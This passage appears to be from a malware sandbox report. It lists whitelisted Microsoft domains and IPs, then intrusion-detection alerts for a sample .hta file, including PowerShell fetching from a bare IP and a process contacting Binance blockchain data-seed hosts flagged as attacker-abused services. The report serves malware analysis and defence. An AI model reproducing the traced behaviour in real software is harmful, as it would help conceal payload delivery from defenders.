  • 20.190.159.2
whitelisted
ocsp.digicert.com
  • 162.159.142.9
  • 172.66.2.5
whitelisted
crl.microsoft.com
  • 184.24.77.12
  • 184.24.77.42
  • 184.24.77.23
  • 184.24.77.37
  • 184.24.77.7
  • 184.24.77.6
  • 184.24.77.11
  • 184.24.77.35
  • 184.24.77.10
  • 184.24.77.38
whitelisted
www.microsoft.com
  • 23.59.18.102
  • 88.221.169.152
whitelisted
slscr.update.microsoft.com
  • 74.178.76.128
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
876
svchost.exe
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
2292
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Requests to a free CDN for open source projects (jsdelivr .net)
2292
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to access release user assets on GitHub
5500
powershell.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host RTF Request
2292
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare content delivery network (cdnjs .cloudflare .com)
3716
tpm2emu.exe
Misc activity
ET TA_ABUSED_SERVICES Observed Commonly Actor Abused Online Service Domain (bsc-dataseed1 .binance .org in TLS SNI)
2292
svchost.exe
Misc activity
ET TA_ABUSED_SERVICES DNS Query to Commonly Actor Abused Online Service (bsc-dataseed1 .binance .org)
2292
svchost.exe
Misc activity
ET TA_ABUSED_SERVICES DNS Query to Commonly Actor Abused Online Service (bsc-dataseed2 .binance .org)
3716
tpm2emu.exe
Misc activity
ET TA_ABUSED_SERVICES Observed Commonly Actor Abused Online Service Domain (bsc-dataseed2 .binance .org in TLS SNI)
No debug info
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Reports
cdn.semifinal-matching.coupons_sample.hta